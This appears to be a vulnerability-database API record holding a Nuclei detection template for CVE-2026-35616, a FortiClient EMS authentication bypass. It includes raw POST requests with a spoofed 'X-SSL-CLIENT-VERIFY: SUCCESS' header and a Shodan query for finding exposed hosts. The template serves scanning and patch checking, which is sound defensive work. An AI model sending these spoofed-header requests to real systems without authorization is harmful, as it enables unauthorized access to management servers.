{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-35616/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-35616/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-35616/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-35616/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-35616/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-35616"},"sightings":{"href":"/api/v1/sightings/cve-2026-35616"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-35616.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-35616\n\ninfo:\n  name: FortiClient EMS - Authentication Bypass\n  author: ritikchaddha\n  severity: high\n  description: |\n    Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior.\n  impact: |\n    If spoofing X-SSL-CLIENT-VERIFY changes backend behavior, Apache is likely not stripping the header before Django, indicating the target is still vulnerable.\n  remediation: |\n    Apply Fortinet hotfix FG-IR-26-099 or upgrade to FortiClient EMS 7.4.7+.\n  reference:\n    - https://bishopfox.com/blog/api-authentication-bypass-in-forticlient-ems-7-4-5-7-4-6-cve-2026-35616\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-35616\n  classification:\n    cve-id: CVE-2026-35616\n    epss-score: 0.90749\n    epss-percentile: 0.99799\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: fortinet\n    product: forticlient_ems\n    shodan-query: http.favicon.hash:-800551065\n  tags: cve,cve2026,fortinet,forticlient,ems,auth-bypass,kev,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/fabric_device_auth/fortigate/init HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n\n        f\n\n      - |\n        POST /api/v1/fabric_device_auth/fortigate/init HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n        X-SSL-CLIENT-VERIFY: SUCCESS\n\n        f\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(tolower(body_1), 'certificate not found')\"\n          - \"status_code_1 == 401 && status_code_2 == 500\"\n          - \"(body_1 != body_2)\"\n        condition: and\n# digest: 4a0a00473045022100a4a5f95600bd214589db80ce39a4d2b3e5800a566a1490d5aff62afab75e15aa02200668b8dce8f7c0918e097208c51f17a8ae702bd4e8d7d690696d270b760f6407:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-35616"}